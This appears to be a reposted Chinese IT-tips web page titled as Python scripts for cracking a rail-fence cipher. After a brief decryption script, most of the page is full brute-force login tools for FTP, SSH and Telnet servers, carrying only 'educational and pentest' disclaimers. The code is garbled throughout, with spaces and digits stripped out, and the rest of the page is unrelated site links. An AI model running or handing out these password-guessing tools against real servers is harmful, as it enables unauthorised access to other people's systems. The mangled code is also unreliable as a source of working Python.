位置: IT常识 - 正文

Python脚本多种方法破解栅栏密码(python脚本例子)

编辑:rootadmin

推荐整理分享Python脚本多种方法破解栅栏密码(python脚本例子),希望有所帮助,仅作参考,欢迎阅读内容。

文章相关热门搜索词:python脚本怎么用,python编写脚本方法,python运行多个脚本,python 常用脚本,python运行多个脚本,python运行多个脚本,python编写脚本方法,python运行多个脚本,内容如对您有帮助,希望把文章链接给更多的朋友!

Python是一种计算机程序设计语言。是一种面向对象的动态类型语言,最初被设计用于编写自动化脚本(shell),随着版本的不断更新和语言新功能的添加,越来越多被用于独立的、大型项目的开发。

Python脚本多种方法破解栅栏密码(python脚本例子)

Python脚本简单易用,对于要破解的栅栏密码,最简单的可以使用快速编写的Python脚本进行暴力破解:

通用脚本:

#!/usr/bin/envpython#-*-coding:gbk-*-#-*-coding:utf_-*-e=raw_input(‘请输入要解密的字符串\n‘)elen=len(e)field=[]foriinrange(,elen):if(elen%i==):field.append(i)forfinfield:b=elen/fresult={x:‘‘forxinrange(b)}foriinrange(elen):a=i%b;result.update({a:result[a]+e[i]})d=‘‘foriinrange(b):d=d+result[i]print‘分为\t‘+str(f)+‘\t‘+‘栏时,解密结果为:‘+d

FTP暴力破解脚本

#!/usr/bin/envpython#-*-coding=utf--*-#author:@xfk#blog:@blog.sina.com.cn/kaiyongdeng#date:@--importsys,os,timefromftplibimportFTPdocs="""[*]Thiswaswrittenforeducationalpurposeandpentestonly.Useitatyourownrisk.[*]Authorwillbenotresponsibleforanydamage![*]Toolname:ftp_bf.py[*]Coder:[*]Version:.[*]eampleofuse:pythonftp_bf.py-tftp.server.com-uusernames.txt-ppasswords.txt"""ifsys.platform=='linux'orsys.platform=='linux':clearing='clear'else:clearing='cls'os.system(clearing)R="\[m";G="\[m";Y="\[m"END="\[m"deflogo():printG+"\n|---------------------------------------------------------------|"print"||"print"|blog.sina.com.cn/kaiyongdeng|"print"|//ftp_bf.pyv..|"print"|FTPBruteForcingTool|"print"||"print"|---------------------------------------------------------------|\n"print"\n[-]%s\n"%time.strftime("%X")printdocs+ENDdefhelp():printR+"[*]-t,--targetip/hostname<>Ourtarget"print"[*]-u,--usernamelistusernamelist<>usernamelistpath"print"[*]-p,--passwordlistpasswordlist<>passwordlistpath"print"[*]-h,--helphelp<>printthishelp"print"[*]Example:pythonftp_bf-tftp.server.com-uusername.txt-ppasswords.txt"+ENDsys.exit()defbf_login(hostname,username,password):#sys.stdout.write("\r[!]Checking:%s"%(p))#sys.stdout.flush()try:ftp=FTP(hostname)ftp.login(hostname,username,password)ftp.retrlines('list')ftp.quit()printY+"\n[!]wt,wt!!!Wedidit!"print"[+]Target:",hostname,""print"[+]User:",username,""print"[+]Password:",password,""+ENDreturn#sys.exit()exceptException,e:passexceptKeyboardInterrupt:printR+"\n[-]Exiting...\n"+ENDsys.exit()defanon_login(hostname):try:printG+"\n[!]Checkingforanonymouslogin.\n"+ENDftp=FTP(hostname)ftp.login()ftp.retrlines('LIST')printY+"\n[!]wt,wt!!!Anonymousloginsuccessfuly!\n"+ENDftp.quit()exceptException,e:printR+"\n[-]Anonymousloginfailed...\n"+ENDpassdefmain():logo()try:forarginsys.argv:ifarg.lower()=='-t'orarg.lower()=='--target':hostname=sys.argv[int(sys.argv[:].index(arg))+]elifarg.lower()=='-u'orarg.lower()=='--usernamelist':usernamelist=sys.argv[int(sys.argv[:].index(arg))+]elifarg.lower()=='-p'orarg.lower()=='--passwordlist':passwordlist=sys.argv[int(sys.argv[:].index(arg))+]elifarg.lower()=='-h'orarg.lower()=='--help':help()eliflen(sys.argv)<=:help()except:printR+"[-]Cheakyourparametarsinput\n"+ENDhelp()printG+"[!]BruteForcingtarget..."+ENDanon_login(hostname)#print"hereisok"#printhostnametry:usernames=open(usernamelist,"r")user=usernames.readlines()count=whilecount<len(user):user[count]=user[count].strip()count+=except:printR+"\n[-]Cheakyourusernamelistpath\n"+ENDsys.exit()#print"hereisok",usernamelist,passwordlisttry:passwords=open(passwordlist,"r")pwd=passwords.readlines()count=whilecount<len(pwd):pwd[count]=pwd[count].strip()count+=except:printR+"\n[-]Checkyourpasswordlistpath\n"+ENDsys.exit()printG+"\n[+]Loaded:",len(user),"usernames"print"\n[+]Loaded:",len(pwd),"passwords"print"[+]Target:",hostnameprint"[+]Guessing...\n"+ENDforuinuser:forpinpwd:result=bf_login(hostname,u.replace("\n",""),p.replace("\n",""))ifresult!=:printG+"[+]Attemptuaername:%spassword:%s..."%(u,p)+R+"Disenable"+ENDelse:printG+"[+]Attemptuaername:%spassword:%s..."%(u,p)+Y+"Enable"+ENDifnotresult:printR+"\n[-]Thereisnousernameanspasswordenabledinthelist."print"[-]Exiting...\n"+ENDif__name__=="__main__":main()

SSH暴力破解

#!/usr/bin/envpython#-*-coding=UTF--*-#author@:dengyongkai#blog@:blog.sina.com.cn/kaiyongdengimportsysimportosimporttime#fromthreadingimportThreadtry:fromparamikoimportSSHClientfromparamikoimportAutoAddPolicyexceptImportError:printG+'''Youneedparamikomodule.http://www.lag.net/paramiko/Debian/Ubuntu:sudoapt-getinstallaptitude:sudoaptitudeinstallpython-paramiko\n'''+ENDsys.exit()docs="""[*]Thiswaswrittenforeducationalpurposeandpentestonly.Useitatyourownrisk.[*]Authorwillbenotresponsibleforanydamage![*]Toolname:ssh_bf.py[*]Author:xfk[*]Version:v..[*]Exampleofuse:pythonssh_bf.py[-Ttarget][-Pport][-Uuserslist][-Wwordlist][-Hhelp]"""ifsys.platform=='linux'orsys.platform=='linux':clearing='clear'else:clearing='cls'os.system(clearing)R="\[m";G="\[m";Y="\[m"END="\[m"deflogo():printG+"\n|---------------------------------------------------------------|"print"||"print"|blog.sina.com.cn/kaiyongdeng|"print"|//ssh_bf.pyv..|"print"|SSHBruteForcingTool|"print"||"print"|---------------------------------------------------------------|\n"print"\n[-]%s\n"%time.ctime()printdocs+ENDdefhelp():printY+"[*]-H--hostname/ip<>thetargethostnameoripaddress"print"[*]-P--port<>thesshserviceport(defaultis)"print"[*]-U--usernamelist<>usernameslistfile"print"[*]-P--passwordlist<>passwordslistfile"print"[*]-H--help<>showhelpinformation"print"[*]Usage:python%s[-Ttarget][-Pport][-Uuserslist][-Wwordlist][-Hhelp]"+ENDsys.exit()defBruteForce(hostname,port,username,password):'''CreateSSHconnectiontotarget'''ssh=SSHClient()ssh.set_missing_host_key_policy(AutoAddPolicy())try:ssh.connect(hostname,port,username,password,pkey=None,timeout=None,allow_agent=False,look_for_keys=False)status='ok'ssh.close()exceptException,e:status='error'passreturnstatusdefmakelist(file):'''Makeusernamesandpasswordslists'''items=[]try:fd=open(file,'r')exceptIOError:printR+'unabletoreadfile\'%s\''%file+ENDpassexceptException,e:printR+'unknownerror'+ENDpassforlineinfd.readlines():item=line.replace('\n','').replace('\r','')items.append(item)fd.close()returnitemsdefmain():logo()#print"hellowold"try:forarginsys.argv:ifarg.lower()=='-t'orarg.lower()=='--target':hostname=str(sys.argv[int(sys.argv[:].index(arg))+])ifarg.lower()=='-p'orarg.lower()=='--port':port=sys.argv[int(sys.argv[:].index(arg))+]elifarg.lower()=='-u'orarg.lower()=='--userlist':userlist=sys.argv[int(sys.argv[:].index(arg))+]elifarg.lower()=='-w'orarg.lower()=='--wordlist':wordlist=sys.argv[int(sys.argv[:].index(arg))+]elifarg.lower()=='-h'orarg.lower()=='--help':help()eliflen(sys.argv)<=:help()except:printR+"[-]Cheakyourparametarsinput\n"+ENDhelp()printG+"\n[!]BruteForcingtarget...\n"+END#print"hereisok"#printhostname,port,wordlist,userlistusernamelist=makelist(userlist)passwordlist=makelist(wordlist)printY+"[*]SSHBruteForcePraparing."print"[*]%suser(s)loaded."%str(len(usernamelist))print"[*]%spassword(s)loaded."%str(len(passwordlist))print"[*]BruteForceIsStarting......."+ENDtry:forusernameinusernamelist:forpasswordinpasswordlist:printG+"\n[+]Attemptuaername:%spassword:%s..."%(username,password)+ENDcurrent=BruteForce(hostname,port,username,password)ifcurrent=='error':printR+"[-]O*OTheusername:%sandpassword:%sIsDisenbabled...\n"%(username,password)+END#passelse:printG+"\n[+]^-^HaHa,WeGotIt!!!"print"[+]username:%s"%usernameprint"[+]password:%s\n"%password+END#sys.exit()except:printR+"\n[-]ThereIsSomethingWrong,PleaceCheakIt."print"[-]Exitting.....\n"+ENDraiseprintY+"[+]Done.^-^\n"+ENDsys.exit()if__name__=="__main__":main()#!usr/bin/python#TelnetBruteForcer#http://www.darkcde.com#dhydr[at]gmail[dot]comimportthreading,time,random,sys,telnetlibfromcopyimportcopyiflen(sys.argv)!=:print"Usage:./telnetbrute.py<server><userlist><wordlist>"sys.exit()try:users=open(sys.argv[],"r").readlines()except(IOError):print"Error:Checkyouruserlistpath\n"sys.exit()try:words=open(sys.argv[],"r").readlines()except(IOError):print"Error:Checkyourwordlistpath\n"sys.exit()print"\n\tdhydr[at]gmail[dot]comTelnetBruteForcerv."print"\t--------------------------------------------------\n"print"[+]Server:",sys.argv[]print"[+]UsersLoaded:",len(users)print"[+]WordsLoaded:",len(words),"\n"wordlist=copy(words)defreloader():forwordinwordlist:words.append(word)defgetword():lock=threading.Lock()lock.acquire()iflen(words)!=:value=random.sample(words,)words.remove(value[])else:print"\nReloadingWordlist-ChangingUser\n"reloader()value=random.sample(words,)users.remove(users[])lock.release()iflen(users)==:returnvalue[][:-],users[]else:returnvalue[][:-],users[][:-]classWorker(threading.Thread):defrun(self):value,user=getword()try:print"-"*print"User:",user,"Password:",valuetn=telnetlib.Telnet(sys.argv[])tn.read_until("login:")tn.write(user+"\n")ifpassword:tn.read_until("Password:")tn.write(value+"\n")tn.write("ls\n")tn.write("exit\n")printtn.read_all()print"\t\nLoginsuccessful:",value,usertn.close()work.join()sys.exit()except:passforIinrange(len(words)*len(users)):work=Worker()work.start()time.sleep()</wordlist></userlist></server>
本文链接地址:https://www.jiuchutong.com/zhishi/303165.html 转载请保留说明!

上一篇:CMS技巧:广告延迟加载让网站速度更快(广告系统源码)

下一篇:WordPress网站一键接入微信登录(wordpress all in one)

  • 荣耀手机两张卡怎么切换流量(荣耀手机两张卡怎么关闭一张卡)

    荣耀手机两张卡怎么切换流量(荣耀手机两张卡怎么关闭一张卡)

  • 苹果13有几款机型(苹果13有几款机型和价格128G)

    苹果13有几款机型(苹果13有几款机型和价格128G)

  • 淘宝工单是什么意思(淘宝工单是怎么出现的)

    淘宝工单是什么意思(淘宝工单是怎么出现的)

  • 3.5音频线三根线怎么接(3.5音频线三根线分别是)

    3.5音频线三根线怎么接(3.5音频线三根线分别是)

  • vivoy5s微信视频怎么开美颜(vivoy5s微信视频聊天怎么开美颜)

    vivoy5s微信视频怎么开美颜(vivoy5s微信视频聊天怎么开美颜)

  • 微信视频摄像头怎么打开(微信视频摄像头左右相反)

    微信视频摄像头怎么打开(微信视频摄像头左右相反)

  • 华为nova7是不是曲面屏(华为nova7是不是快充)

    华为nova7是不是曲面屏(华为nova7是不是快充)

  • 抖音粉丝灯牌怎么取消(抖音粉丝灯牌怎么亮起来)

    抖音粉丝灯牌怎么取消(抖音粉丝灯牌怎么亮起来)

  • 多媒体系统软件可分为(多媒体系统软件包括哪些组成部分)

    多媒体系统软件可分为(多媒体系统软件包括哪些组成部分)

  • 安卓手机恢复出厂设置还会卡吗(安卓手机恢复出厂设置在哪里)

    安卓手机恢复出厂设置还会卡吗(安卓手机恢复出厂设置在哪里)

  • vivo手机便签在哪里找(vivo手机便签在哪里找到)

    vivo手机便签在哪里找(vivo手机便签在哪里找到)

  • word的除号怎么打(word中的除号)

    word的除号怎么打(word中的除号)

  • 华为mate30会有50倍吗(华为mate30会有黑边吗)

    华为mate30会有50倍吗(华为mate30会有黑边吗)

  • 用户画像是通过cookie统计的吗(用户画像原理)

    用户画像是通过cookie统计的吗(用户画像原理)

  • 美团买单功能怎么开通(美团买单功能怎么开启)

    美团买单功能怎么开通(美团买单功能怎么开启)

  • 绘声绘影如何添加字幕(绘声绘影如何添加声音轨)

    绘声绘影如何添加字幕(绘声绘影如何添加声音轨)

  • iphone顶部状态栏设置(iphone顶部状态栏不见了怎么恢复)

    iphone顶部状态栏设置(iphone顶部状态栏不见了怎么恢复)

  • Win10纯净版下载文件提示有病毒已被删除怎么办 快速找回被删除文件(win10纯净版下载联想驱动)

    Win10纯净版下载文件提示有病毒已被删除怎么办 快速找回被删除文件(win10纯净版下载联想驱动)

  • 路由器怎么设置信道?优化无线路由器信道提高WIFI网速方法详解(路由器怎么设置2.4g网络)

    路由器怎么设置信道?优化无线路由器信道提高WIFI网速方法详解(路由器怎么设置2.4g网络)

  • Intmonp.exe是一种什么样的进程 是病毒吗 Intmonp进程注解(intempt)

    Intmonp.exe是一种什么样的进程 是病毒吗 Intmonp进程注解(intempt)

  • AI绘画进军三次元,有人用它打造赛博女友?(diffusion)(ai绘画图片)

    AI绘画进军三次元,有人用它打造赛博女友?(diffusion)(ai绘画图片)

  • 劳务公司发放农民工工资要开发票吗?
  • 视同销售计税价格如何确定?
  • 个体户交税和个人所得税
  • 投资性房地产公允价值模式出售
  • 社保年检申报错误怎么办
  • 固定资产清理时残值怎么处理
  • 向境外分配股息
  • 个人房产房租收入怎么算
  • 库存产品亏本销售账务处理
  • 海关免税设备清单
  • 经营租赁融资租赁增值税税率
  • 公司注销留抵税额税法规定
  • 公司向贷款公司贷款做账分录
  • 私车公用保险费用公司承担吗
  • 企业个人补偿款需要缴税吗?
  • 企业偷税漏税行为诉讼有效期限
  • 股权激励个人所得税计算器
  • 长期待摊费用账户按用途和结构分类应属于
  • 现金短缺属于出纳员负责如何做会计处理
  • 建筑业简易计税进项税可以抵扣吗
  • 固定资产报废账目
  • 公司代缴的个税怎么查询
  • 厂房转让会计分录
  • 小微企业文化事业建设费是否可以享受减免
  • 资产减值损失怎么计提
  • 应付工资和实付工资的差额叫什么
  • 增值税发票自查报告
  • 财务转账一般多久到账
  • 农业公司的会计分录
  • deepin怎么退出命令行
  • 在电脑中设置一键换机
  • win11有什么升级
  • win10远程连接win7密码正确,无法登陆
  • 车辆购置税税收缴款书
  • 金融企业的贷款准备金
  • 公司挂靠社保的人员需要申报个人所得税吗?
  • 本月认证上月的进项票如何做
  • php读取文件内容
  • 图像识别算法
  • java htmlparser
  • nfs4挂载
  • 集合框架有何好处
  • 入库税款异常怎么处理
  • 工资计提未发放,调增还是调减
  • 尚未报送年度会计报表
  • 应交税费借方属于什么科目
  • 固定资产管理台账
  • 好用的测试工具
  • 合伙企业可以列入法人吗
  • 房屋租赁税缴纳时间
  • 企业购买银行理财产品的会计处理
  • 开具发票后什么情况下可以零申报?
  • 电子承兑到期怎么收款
  • 当月没开发票
  • 固定资产开普票还是专票
  • 缴纳个人社保在哪里查询
  • 房子装修费要交税吗
  • 请问在哪里可以买到震楼器
  • sql server2000个人版安装步骤
  • xampp网页服务器配置文件名
  • 巧妙设置Vista任务栏和开始菜单的属性
  • linux谷歌浏览器安装指令
  • freebsd安装到u盘
  • win10系统锁屏后输入密码一直转圈进不去桌面
  • 在linux2.4.0版本中
  • centos6.5双网卡绑定
  • xshell如何使用
  • 将jquery.qqFace.js表情转换成微信的字符码
  • css使用教程
  • perl use of uninitialized
  • js操作dom节点的方法
  • linux实现shell
  • 全部删除文件快捷键
  • js实现登录功能
  • linux中的shell命令
  • ug合并命令在哪
  • shell脚本配置环境
  • 深入理解新发展理念
  • python pil gif
  • 青岛税税通怎么切换企业
  • 免责声明:网站部分图片文字素材来源于网络,如有侵权,请及时告知,我们会第一时间删除,谢谢! 邮箱:opceo@qq.com

    鄂ICP备2023003026号

    网站地图: 企业信息 工商信息 财税知识 网络常识 编程技术

    友情链接: 武汉网站建设